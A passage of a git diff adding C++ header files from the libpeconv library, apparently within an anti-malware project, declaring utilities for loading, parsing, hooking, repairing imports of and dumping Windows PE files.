back in read_size. + Automatically allocates a buffer of the required size. + */ + peconv::ALIGNED_BUF load_file(IN const char *filename, OUT size_t &r_size); + + /** + Reads a raw content of the file with the given path. + If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file. + The actual read size is returned back in read_size. + Automatically allocates a buffer of the required size. + */ + peconv::ALIGNED_BUF read_from_file(IN const char *path, IN OUT size_t &read_size); + + /** + Writes a buffer of bytes into a file of given path. + \param path : the path to the output file + \param dump_data : the buffer to be dumped + \param dump_size : the size of data to be dumped (in bytes) + \return true if succeeded, false if failed + */ + bool dump_to_file(IN const char *path, IN PBYTE dump_data, IN size_t dump_size); + + /** + Free the buffer allocated by load_file/read_from_file + */ + void free_file(IN peconv::ALIGNED_BUF buffer); + + /** + Get the file name from the given path. + */ + std::string get_file_name(IN const std::string full_path); + + /** + Get the directory name from the given path. It assumes that a directory name always ends with a separator ("/" or "\") + */ + std::string get_directory_name(IN const std::string full_path); + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/find_base.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/find_base.h new file mode 100644 index 0000000..f49b030 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/find_base.h @@ -0,0 +1,20 @@ +/** +* @file +* @brief Functions related to finding a base to which the module was relocated. +*/ + +#pragma once + +#include + +namespace peconv { + + /** + Try to find a base to which the PE file was relocated, basing on the filled relocations. + WARNING: the found base is an estimate, and sometimes may not be fully accurate. + \param module_ptr : the module which's base is being searched + \param module_size : the size of the given module + \return the base to which the module was relocated + */ + ULONGLONG find_base_candidate(IN BYTE *module_ptr, IN size_t module_size); +}; diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/fix_imports.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/fix_imports.h new file mode 100644 index 0000000..a915df7 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/fix_imports.h @@ -0,0 +1,119 @@ +/** +* @file +* @brief Functions and classes responsible for fixing Import Table. A definition of ImportedDllCoverage class. +*/ + +#pragma once + +#include + +#include + +#include +#include + +#include + +#include "pe_hdrs_helper.h" +#include "exports_lookup.h" +#include "exports_mapper.h" + +#define MIN_DLL_LEN 5 + +namespace peconv { + + /** + a helper class that allows to store information about functions that could not be covered by the given mapping + */ + class ImpsNotCovered + { + public: + ImpsNotCovered() {} + ~ImpsNotCovered() {} + + /* + Number of stored records + */ + size_t count() { return thunkToAddr.size(); } + + void insert(ULONGLONG thunk, ULONGLONG searchedAddr); + + std::map thunkToAddr; //addresses of not recovered functions with their thunks (call_via) + }; + + /** + fix imports in the given module, using the given map of all available exports + */ + bool fix_imports(IN OUT PVOID modulePtr, IN size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT OPTIONAL peconv::ImpsNotCovered* notCovered); + + /** + a helper class that allows to find out where the functions are imported from + */ + class ImportedDllCoverage + { + public: + /** + A constructor of an object of ImportedDllCoverage class. + \param _addresses : the list of filled imports (VAs): the addresses to be covered + \param _exportsMap : the map of the exports of all the loaded DLLs (the space in which we will be searching) + */ + ImportedDllCoverage(std::set& _addresses, const peconv::ExportsMapper& _exportsMap) + : addresses(_addresses), exportsMap(_exportsMap) + { + } + + /** + Checks if all the addresses can be covered by one DLL. If yes, this dll will be saved into: dllName. + \return true if the covering DLL for the addresses was found. false otherwise. + */ + bool findCoveringDll(); + + /** + Maps the addresses from the set to functions from the given DLL. + Results are saved into: addrToFunc. + Addresses that could not be covered by the given DLL are saved into notFound. + Before each execution, the content of involved variables is erased. + \param _mappedDllName : the name of the DLL that we will be used to mapping. This DLL is saved into mappedDllName. + \return a number of covered functions + */ + size_t mapAddressesToFunctions(const std::string &_mappedDllName); + + /** + Check if the functions mapping is complete. + \return the status: true if all the addresses are mapped to specific exports, false if not + */ + bool isMappingComplete() { return (addresses.size() == addrToFunc.size()) ? true : false; } + + /** + A mapping associating each of the covered function addresses with the set of exports (from mapped DLL) that cover this address + */ + std::map> addrToFunc; + + /** + Addresses of the functions not found in the mapped DLL + */ + std::set notFound; + + /** + Name of the covering DLL + */ + std::string dllName; + + protected: + /** + A name of the DLL that was used for mapping. In a typical scenario it will be the same as covering DLL, but may be set different. + */ + std::string mappedDllName; + + /** + A supplied set of the addresses of imported functions. + Those addressed will be covered (associated with the corresponding exports from available DLLs, defined by exportsMap). + */ + std::set &addresses; + + /** + A supplied exportsMap. Only used as a lookup, no changes applied. + */ + const peconv::ExportsMapper& exportsMap; + }; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/function_resolver.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/function_resolver.h new file mode 100644 index 0000000..8b9fd70 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/function_resolver.h @@ -0,0 +1,39 @@ +/** +* @file +* @brief Definitions of basic Imports Resolver classes. They can be used for filling imports when the PE is loaded. +*/ + +#pragma once + +#include + +namespace peconv { + /** + A base class for functions resolver. + */ + class t_function_resolver { + public: + /** + Get the address (VA) of the function with the given name, from the given DLL. + \param func_name : the name of the function + \param lib_name : the name of the DLL + \return Virtual Address of the exported function + */ + virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name) = 0; + }; + + /** + A default functions resolver, using LoadLibraryA and GetProcAddress. + */ + class default_func_resolver : t_function_resolver { + public: + /** + Get the address (VA) of the function with the given name, from the given DLL, using LoadLibraryA and GetProcAddress. + \param func_name : the name of the function + \param lib_name : the name of the DLL + \return Virtual Address of the exported function + */ + virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); + }; + +}; //namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/hooks.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/hooks.h new file mode 100644 index 0000000..ab55dbc --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/hooks.h @@ -0,0 +1,135 @@ +/** +* @file +* @brief Functions related to hooking the loaded PE. Reditecting/replacing a functions with another. +*/ + +#pragma once + +#include +#include "function_resolver.h" + +#include +#include +#include +#include "peconv/buffer_util.h" + +namespace peconv { + + /** + A buffer storing a binary patch, that can be applied on a module. Used as a restorable backup in case of function patching. + */ + class PatchBackup { + public: + /** + Creates an empty backup. + */ + PatchBackup() + : buffer(nullptr), bufferSize(0), sourcePtr(nullptr) + { + } + + ~PatchBackup() { + deleteBackup(); + } + + /** + Destroys the backup and resets internal fields. + */ + void deleteBackup() + { + if (buffer) { + delete[] buffer; + bufferSize = 0; + sourcePtr = nullptr; + } + } + + /** + Reads bytes from the binary to the backup. The source buffer must be within the current process. + */ + bool makeBackup(BYTE *patch_ptr, size_t patch_size); + + /** + Applies the backup back to the pointer from which it was read. + */ + bool applyBackup(); + + /** + Checks if the buffer was filled. + */ + bool isBackup() + { + return buffer != nullptr; + } + + protected: + BYTE *buffer; + size_t bufferSize; + + BYTE *sourcePtr; + }; + + + /** + A functions resolver that can be used for hooking IAT. Allows for defining functions that are supposed to be replaced. + */ + class hooking_func_resolver : peconv::default_func_resolver { + public: + /** + Define a function that will be replaced. + \param name : a name of the function that will be replaced + \param function : an address of the replacement function + */ + void add_hook(std::string name, FARPROC function) + { + hooks_map[name] = function; + } + + /** + Get the address (VA) of the function with the given name, from the given DLL. If the function was hooked, it retrieves the address of the replacement function instead. + \param func_name : the name of the function + \param lib_name : the name of the DLL + \return Virtual Address of the exported function, or the address of the replacement function. + */ + virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); + + private: + std::map hooks_map; + }; + + /** + Installs inline hook at the given ptr. Returns the number of bytes overwriten. + 64 bit version. + \param ptr : pointer to the function to be replaced + \param new_offset : VA of the new function + \param backup : (optional) backup that can be used to reverse the changes + \return size of the applied patch + */ + size_t redirect_to_local64(void *ptr, ULONGLONG new_offset, PatchBackup* backup = nullptr); + + /** + Installs inline hook at the given ptr. Returns the number of bytes overwriten. + 32 bit version. + \param ptr : pointer to the function to be replaced + \param new_offset : VA of the new function + \param backup : (optional) backup that can be used to reverse the changes + \return size of the applied patch + */ + size_t redirect_to_local32(void *ptr, DWORD new_offset, PatchBackup* backup = nullptr); + + /** + Installs inline hook at the given ptr. Returns the number of bytes overwriten. + Uses bitness of the current applications for the bitness of the intalled hook. + \param ptr : pointer to the function to be replaced + \param new_function_ptr : pointer to the new function + \param backup : (optional) backup that can be used to reverse the changes + \return size of the applied patch + */ + size_t redirect_to_local(void *ptr, void* new_function_ptr, PatchBackup* backup = nullptr); + + /** + Replaces a target address of JMP [DWORD] or CALL [DWORD] + */ + bool replace_target(BYTE *ptr, ULONGLONG dest_addr); + +};//namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_loader.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_loader.h new file mode 100644 index 0000000..4a485e6 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_loader.h @@ -0,0 +1,70 @@ +/** +* @file +* @brief Parsing and filling the Import Table. +*/ + +#pragma once + +#include + +#include "pe_hdrs_helper.h" +#include "function_resolver.h" + +namespace peconv { + + /** + A class defining a callback that will be executed when the next imported function was found + */ + class ImportThunksCallback + { + public: + ImportThunksCallback(BYTE* _modulePtr, size_t _moduleSize) + : modulePtr(_modulePtr), moduleSize(_moduleSize) + { + this->is64b = is64bit((BYTE*)modulePtr); + } + + /** + A callback that will be executed by process_import_table when the next imported function was found + \param libName : the pointer to the DLL name + \param origFirstThunkPtr : the pointer to the Original First Thunk + \param firstThunkPtr : the pointer to the First Thunk + \return : true if processing succeeded, false otherwise + */ + virtual bool processThunks(LPSTR libName, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) = 0; + + protected: + BYTE* modulePtr; + size_t moduleSize; + bool is64b; + }; + + /** + Process the given PE's import table and execute the callback each time when the new imported function was found + \param modulePtr : a pointer to the loded PE (in virtual format) + \param moduleSize : a size of the supplied PE + \param callback : a callback that will be executed to process each imported function + \return : true if processing succeeded, false otherwise + */ + bool process_import_table(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ImportThunksCallback *callback); + + /** + Fills imports of the given PE with the help of the defined functions resolver. + \param modulePtr : a pointer to the loded PE (in virtual format) + \param func_resolver : a resolver that will be used to fill the thunk of the import + \return : true if loading all functions succeeded, false otherwise + */ + bool load_imports(BYTE* modulePtr, t_function_resolver* func_resolver=nullptr); + + /** + Checks if the given PE has a valid import table. + */ + bool has_valid_import_table(const PBYTE modulePtr, size_t moduleSize); + + /** + Checks if the given lib_name is a valid DLL name. + A valid name must contain printable characters. Empty name is also acceptable (may have been erased). + */ + bool is_valid_import_name(const PBYTE modulePtr, const size_t moduleSize, LPSTR lib_name); + +}; // namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_uneraser.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_uneraser.h new file mode 100644 index 0000000..274bfc7 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_uneraser.h @@ -0,0 +1,94 @@ +/** +* @file +* @brief A definition of ImportsUneraser class - for recovery of a partialy erased Import Table. +*/ + +#pragma once + +#include + +#include + +#include +#include + +#include +#include "fix_imports.h" +#include "caves.h" + +namespace peconv { + + /** + A class responsible for recovering the partially erased Import Table from the PE. + */ + class ImportsUneraser + { + public: + ImportsUneraser(PVOID _modulePtr, size_t _moduleSize) + : modulePtr((PBYTE)_modulePtr), moduleSize(_moduleSize) + { + is64 = peconv::is64bit((BYTE*)modulePtr); + } + + /** + Fill the imported functions' names in the given Import Descriptor, using the given coverage. + Collect addressees of functions that couldn't be filled with the given mapping. + \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set + \param dllCoverage : a mapping associating addresses with the corresponding exports from available DLLs + \param not_covered : a set of addresses that could not be found in the supplied mapping + \return true if succeeded + */ + bool uneraseDllImports(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, IN ImportedDllCoverage &dllCoverage, OUT OPTIONAL ImpsNotCovered* not_covered); + + /** + Recover the imported DLL name in the given Import Descriptor, filling it with the given dll_name. + */ + bool uneraseDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name); + + protected: + /** + Copy the given DLL name into the given IMAGE_IMPORT_DESCRIPTOR. Validates the data correctness before writing. + \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the DLL name should be set + \param dll_name : the DLL name that needs to be written into the lib_desc + \return true if succeeded + */ + bool writeFoundDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name); + + /** + Fill the names of imported functions with names of the prepared mapping. + Collect addressees of functions that couldn't be filled with the given mapping. + \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set + \param ordinal_flag : the flag that is used to recognize import by ordinal (32 or 64 bit) + \param addr_to_func : a mapping assigning functions' addresses to their definitions (names etc.) + \param not_covered : a set of addresses that could not be found in the supplied mapping + \return true if succeeded + */ + template + bool fillImportNames(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, + IN const FIELD_T ordinal_flag, + IN std::map> &addr_to_func, + OUT OPTIONAL ImpsNotCovered* not_covered + ); + + template + bool findNameInBinaryAndFill(IMAGE_IMPORT_DESCRIPTOR* lib_desc, + LPVOID call_via_ptr, + LPVOID thunk_ptr, + const FIELD_T ordinal_flag, + std::map> &addr_to_func + ); + + /** + Fill the function data into the given IMAGE_THUNK_DATA. + \param desc : the poiner to IMAGE_THUNK_DATA that will be filled + \param ordinal_flag : an ordinal flag: 32 or 64 bit + \param foundFunc : the ExportedFunc that will be used for filling the desc + */ + template + bool writeFoundFunction(IMAGE_THUNK_DATA_T* desc, const FIELD_T ordinal_flag, const ExportedFunc &foundFunc); + + PBYTE modulePtr; + size_t moduleSize; + bool is64; + }; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_defs.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_defs.h new file mode 100644 index 0000000..daa902f --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_defs.h @@ -0,0 +1,228 @@ +#pragma once +#include + +#include + +namespace peconv { + + /** + IMAGE_LOAD_CONFIG_CODE_INTEGRITY: a structure used by IMAGE_LOAD_CONFIG_DIR - the Windows 10 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 { + WORD Flags; // Flags to indicate if CI information is available, etc. + WORD Catalog; // 0xFFFF means not available + DWORD CatalogOffset; + DWORD Reserved; // Additional bitmask to be defined later + } IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10; + + /** + IMAGE_LOAD_CONFIG_DIR32: the Windows 10 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR32_W10 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + DWORD DeCommitFreeBlockThreshold; + DWORD DeCommitTotalFreeThreshold; + DWORD LockPrefixTable; // VA + DWORD MaximumAllocationSize; + DWORD VirtualMemoryThreshold; + DWORD ProcessHeapFlags; + DWORD ProcessAffinityMask; + WORD CSDVersion; + WORD DependentLoadFlags; + DWORD EditList; // VA + DWORD SecurityCookie; // VA + DWORD SEHandlerTable; // VA + DWORD SEHandlerCount; + DWORD GuardCFCheckFunctionPointer; // VA + DWORD GuardCFDispatchFunctionPointer; // VA + DWORD GuardCFFunctionTable; // VA + DWORD GuardCFFunctionCount; + DWORD GuardFlags; + IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity; + DWORD GuardAddressTakenIatEntryTable; // VA + DWORD GuardAddressTakenIatEntryCount; + DWORD GuardLongJumpTargetTable; // VA + DWORD GuardLongJumpTargetCount; + DWORD DynamicValueRelocTable; // VA + DWORD CHPEMetadataPointer; + DWORD GuardRFFailureRoutine; // VA + DWORD GuardRFFailureRoutineFunctionPointer; // VA + DWORD DynamicValueRelocTableOffset; + WORD DynamicValueRelocTableSection; + WORD Reserved2; + DWORD GuardRFVerifyStackPointerFunctionPointer; // VA + DWORD HotPatchTableOffset; + DWORD Reserved3; + DWORD EnclaveConfigurationPointer; // VA + } IMAGE_LOAD_CONFIG_DIR32_W10; + + /** + IMAGE_LOAD_CONFIG_DIR64: the Windows 10 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR64_W10 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + ULONGLONG DeCommitFreeBlockThreshold; + ULONGLONG DeCommitTotalFreeThreshold; + ULONGLONG LockPrefixTable; // VA + ULONGLONG MaximumAllocationSize; + ULONGLONG VirtualMemoryThreshold; + ULONGLONG ProcessAffinityMask; + DWORD ProcessHeapFlags; + WORD CSDVersion; + WORD DependentLoadFlags; + ULONGLONG EditList; // VA + ULONGLONG SecurityCookie; // VA + ULONGLONG SEHandlerTable; // VA + ULONGLONG SEHandlerCount; + ULONGLONG GuardCFCheckFunctionPointer; // VA + ULONGLONG GuardCFDispatchFunctionPointer; // VA + ULONGLONG GuardCFFunctionTable; // VA + ULONGLONG GuardCFFunctionCount; + DWORD GuardFlags; + IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity; + ULONGLONG GuardAddressTakenIatEntryTable; // VA + ULONGLONG GuardAddressTakenIatEntryCount; + ULONGLONG GuardLongJumpTargetTable; // VA + ULONGLONG GuardLongJumpTargetCount; + ULONGLONG DynamicValueRelocTable; // VA + ULONGLONG CHPEMetadataPointer; // VA + ULONGLONG GuardRFFailureRoutine; // VA + ULONGLONG GuardRFFailureRoutineFunctionPointer; // VA + DWORD DynamicValueRelocTableOffset; + WORD DynamicValueRelocTableSection; + WORD Reserved2; + ULONGLONG GuardRFVerifyStackPointerFunctionPointer; // VA + DWORD HotPatchTableOffset; + DWORD Reserved3; + ULONGLONG EnclaveConfigurationPointer; // VA + } IMAGE_LOAD_CONFIG_DIR64_W10; + + /** + IMAGE_LOAD_CONFIG_DIR32: the Windows 8 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR32_W8 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + DWORD DeCommitFreeBlockThreshold; + DWORD DeCommitTotalFreeThreshold; + DWORD LockPrefixTable; // VA + DWORD MaximumAllocationSize; + DWORD VirtualMemoryThreshold; + DWORD ProcessHeapFlags; + DWORD ProcessAffinityMask; + WORD CSDVersion; + WORD DependentLoadFlags; + DWORD EditList; // VA + DWORD SecurityCookie; // VA + DWORD SEHandlerTable; // VA + DWORD SEHandlerCount; + DWORD GuardCFCheckFunctionPointer; // VA + DWORD GuardCFDispatchFunctionPointer; // VA + DWORD GuardCFFunctionTable; // VA + DWORD GuardCFFunctionCount; + DWORD GuardFlags; + } IMAGE_LOAD_CONFIG_DIR32_W8; + + /** + IMAGE_LOAD_CONFIG_DIR64: the Windows 8 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR64_W8 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + ULONGLONG DeCommitFreeBlockThreshold; + ULONGLONG DeCommitTotalFreeThreshold; + ULONGLONG LockPrefixTable; // VA + ULONGLONG MaximumAllocationSize; + ULONGLONG VirtualMemoryThreshold; + ULONGLONG ProcessAffinityMask; + DWORD ProcessHeapFlags; + WORD CSDVersion; + WORD DependentLoadFlags; + ULONGLONG EditList; // VA + ULONGLONG SecurityCookie; // VA + ULONGLONG SEHandlerTable; // VA + ULONGLONG SEHandlerCount; + ULONGLONG GuardCFCheckFunctionPointer; // VA + ULONGLONG GuardCFDispatchFunctionPointer; // VA + ULONGLONG GuardCFFunctionTable; // VA + ULONGLONG GuardCFFunctionCount; + DWORD GuardFlags; + } IMAGE_LOAD_CONFIG_DIR64_W8; + + + /** + IMAGE_LOAD_CONFIG_DIR32: the Windows 7 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR32_W7 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + DWORD DeCommitFreeBlockThreshold; + DWORD DeCommitTotalFreeThreshold; + DWORD LockPrefixTable; // VA + DWORD MaximumAllocationSize; + DWORD VirtualMemoryThreshold; + DWORD ProcessHeapFlags; + DWORD ProcessAffinityMask; + WORD CSDVersion; + WORD DependentLoadFlags; + DWORD EditList; // VA + DWORD SecurityCookie; // VA + DWORD SEHandlerTable; // VA + DWORD SEHandlerCount; + } IMAGE_LOAD_CONFIG_DIR32_W7; + + /** + IMAGE_LOAD_CONFIG_DIR64: the Windows 7 version. + */ + typedef struct _IMAGE_LOAD_CONFIG_DIR64_W7 { + DWORD Size; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD GlobalFlagsClear; + DWORD GlobalFlagsSet; + DWORD CriticalSectionDefaultTimeout; + ULONGLONG DeCommitFreeBlockThreshold; + ULONGLONG DeCommitTotalFreeThreshold; + ULONGLONG LockPrefixTable; // VA + ULONGLONG MaximumAllocationSize; + ULONGLONG VirtualMemoryThreshold; + ULONGLONG ProcessAffinityMask; + DWORD ProcessHeapFlags; + WORD CSDVersion; + WORD DependentLoadFlags; + ULONGLONG EditList; // VA + ULONGLONG SecurityCookie; // VA + ULONGLONG SEHandlerTable; // VA + ULONGLONG SEHandlerCount; + } IMAGE_LOAD_CONFIG_DIR64_W7; +}; //namespace peconv + +#include diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_util.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_util.h new file mode 100644 index 0000000..52b01be --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_util.h @@ -0,0 +1,42 @@ +/** +* @file +* @brief Fetching Load Config Directory and recognizing its version. +*/ + +#pragma once +#include + +#include "buffer_util.h" +#include "load_config_defs.h" + +namespace peconv { + + /** + A version of Load Config Directory. + */ + typedef enum { + LOAD_CONFIG_NONE = 0, /**< Load Config Directory not found */ + LOAD_CONFIG_W7_VER = 7, /**< Load Config Directory in the Windows 7 version */ + LOAD_CONFIG_W8_VER = 8, /**< Load Config Directory in the Windows 8 version */ + LOAD_CONFIG_W10_VER = 10, /**< Load Config Directory in the Windows 10 version */ + LOAD_CONFIG_UNK_VER = -1 /**< Load Config Directory in an unknown version */ + } t_load_config_ver; + + /** + Get a pointer to the Load Config Directory within the given PE. + \param buffer : a buffer containing the PE file in a Virtual format + \param buf_size : size of the buffer + \return a pointer to the Load Config Directory, NULL if the given PE does not have this directory + */ + BYTE* get_load_config_ptr(BYTE* buffer, size_t buf_size); + + /** + Detect which version of Load Config Directory was used in the given PE. + \param buffer : a buffer containing the PE file in a Virtual format + \param buf_size : size of the buffer + \param ld_config_ptr : pointer to the Load Config Directory within the given PE + \return detected version of Load Config Directory + */ + t_load_config_ver get_load_config_version(BYTE* buffer, size_t buf_size, BYTE* ld_config_ptr); + +}; // namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_dumper.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_dumper.h new file mode 100644 index 0000000..3388c5b --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_dumper.h @@ -0,0 +1,48 @@ +/** +* @file +* @brief Dumping PE from the memory buffer into a file. +*/ + +#pragma once + +#include +#include "exports_mapper.h" + +namespace peconv { + + /** + A mode in which the PE fille be dumped. + */ + typedef enum { + PE_DUMP_AUTO = 0, /**< autodetect which dump mode is the most suitable for the given input */ + PE_DUMP_VIRTUAL,/**< dump as it is in the memory (virtual) */ + PE_DUMP_UNMAP, /**< convert to the raw format: using raw sections' headers */ + PE_DUMP_REALIGN, /**< convert to the raw format: by realigning raw sections' headers to be the same as virtual (useful if the PE was unpacked in memory) */ + PE_DUMP_MODES_COUNT /**< total number of the dump modes */ + } t_pe_dump_mode; + + /** + Detect dump mode that is the most suitable for the given input. + \param buffer : the buffer containing the PE to be dumped. + \param buffer_size : the size of the given buffer + */ + t_pe_dump_mode detect_dump_mode(IN const BYTE* buffer, IN size_t buffer_size); + + /** + Dumps PE from the fiven buffer into a file. It expects the module base and size to be given. + \param outputFilePath : name of the file where the dump should be saved + \param buffer : the buffer containing the PE to be dumped. WARNING: the buffer may be preprocessed before dumping. + \param buffer_size : the size of the given buffer + \param module_base : the base to which the PE buffer was relocated + \param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one. + \param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions. + */ + bool dump_pe(IN const char *outputFilePath, + IN OUT BYTE* buffer, + IN size_t buffer_size, + IN const ULONGLONG module_base, + IN OUT t_pe_dump_mode &dump_mode, + IN OPTIONAL const peconv::ExportsMapper* exportsMap = nullptr + ); + +};// namespace peconv diff --git a/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_hdrs_helper.h b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_hdrs_helper.h new file mode 100644 index 0000000..7a7eb4e --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_hdrs_helper.h @@ -0,0 +1,232 @@ +/** +* @file +* @brief Wrappers over various fields in the PE header. Read, write, parse PE headers. +*/ + +#pragma once + +#include +#include "buffer_util.h" + +#ifndef PAGE_SIZE +#define PAGE_SIZE 0x1000 +#endif + +#define MASK_TO_DWORD(val) (val & 0xffffffff) +#define MASK_TO_WORD(val) (val & 0xffff) + +namespace peconv { + /** + Maximal size of the PE header. + */ + const ULONGLONG MAX_HEADER_SIZE = PAGE_SIZE; + + /** + Fetch image size from headers. + */ + DWORD get_image_size(IN const BYTE *payload); + + /** + Change the Image Size in Optional Header to the given one. + */ + bool update_image_size(IN OUT BYTE* payload, IN DWORD new_img_size); + + /** + Fetch architecture from the NT headers. Checks for bad pointers. + */ + WORD get_nt_hdr_architecture(IN const BYTE *pe_buffer); + + /** + Wrapper for get_nt_hdr_architecture. Returns true if the PE file is 64 bit. + */ + bool is64bit(IN const BYTE *pe_buffer); + + /** + Fetch pointer to the NT headers of the PE file. + Checks for bad pointers. If buffer_size is set, validates pointers against the buffer size. + */ + BYTE* get_nt_hdrs( + IN const BYTE *pe_buffer, + IN OPTIONAL size_t buffer_size=0 //if buffer_size=0 means size unknown + ); + + /** + Wrapper for get_nt_headers. Automatically detects if the PE is 32 bit - if not, returns null pointer. + */ + IMAGE_NT_HEADERS32* get_nt_hdrs32(IN const BYTE *pe_buffer); + + /** + Wrapper for get_nt_headers. Automatically detects if the PE is 64 bit - if not, returns null pointer. + */ + IMAGE_NT_HEADERS64* get_nt_hdrs64(IN const BYTE *pe_buffer); + + /** + Fetches optional header of the PE. Validates pointers against buffer size. + */ + LPVOID get_optional_hdr(IN const BYTE* payload, IN const size_t buffer_size); + + /** + Fetches file header of the PE. Validates pointers against buffer size. + */ + const IMAGE_FILE_HEADER* get_file_hdr( + IN const BYTE* payload, + IN const size_t buffer_size + ); + + /** + Fetch the size of headers (from Optional Header). + */ + DWORD get_hdrs_size(IN const BYTE *pe_buffer); + + /** + get Data Directory entry of the given number. If the entry is not filled and allow_empty is not set, it returns null pointer. + */ + IMAGE_DATA_DIRECTORY* get_directory_entry(IN const BYTE* pe_buffer, IN DWORD dir_id, IN bool allow_empty = false); + + /** + Get pointer to the Data Directory content of the given number. Automatically cast to the chosen type. + */ + template + IMAGE_TYPE_DIRECTORY* get_type_directory(IN HMODULE modulePtr, IN DWORD dir_id) + { + IMAGE_DATA_DIRECTORY *my_dir = peconv::get_directory_entry((const BYTE*)modulePtr, dir_id); + if (!my_dir) return nullptr; + + DWORD dir_addr = my_dir->VirtualAddress; + if (dir_addr == 0) return nullptr; + + return (IMAGE_TYPE_DIRECTORY*)(dir_addr + (ULONG_PTR)modulePtr); + } + + /** + Get pointer to the Export Directory. + */ + IMAGE_EXPORT_DIRECTORY* get_export_directory(IN HMODULE modulePtr); + + // Fetch Image Base from Optional Header. + ULONGLONG get_image_base(IN const BYTE *pe_buffer); + + /** + Change the Image Base in Optional Header to the given one. + */ + bool update_image_base(IN OUT BYTE* payload, IN ULONGLONG destImageBase); + + /** + Get RVA of the Entry Point from the Optional Header. + */ + DWORD get_entry_point_rva(IN const BYTE *pe_buffer); + + /** + Change the Entry Point RVA in the Optional Header to the given one. + */ + bool update_entry_point_rva(IN OUT BYTE *pe_buffer, IN DWORD ep); + + /** + Get number of sections from the File Header. It does not validate if this the actual number. + */ + size_t get_sections_count( + IN const BYTE* buffer, + IN const size_t buffer_size + ); + + /** + Checks if the section headers are reachable. It does not validate sections alignment. + */ + bool is_valid_sections_hdr_offset(IN const BYTE* buffer, IN const size_t buffer_size); + + /** + Gets pointer to the section header of the given number. + */ + PIMAGE_SECTION_HEADER get_section_hdr( + IN const BYTE* pe_buffer, + IN const size_t buffer_size, + IN size_t section_num + ); + + /** + Fetch the PE Characteristics from the File Header. + */ + WORD get_file_characteristics(IN const BYTE* payload); + + /** + Check if the module is a DLL (basing on the Characteristcs in the header). + */ + bool is_module_dll(IN const BYTE* payload); + + /** + Fetch the DLL Characteristics from the Optional Header. + */ + 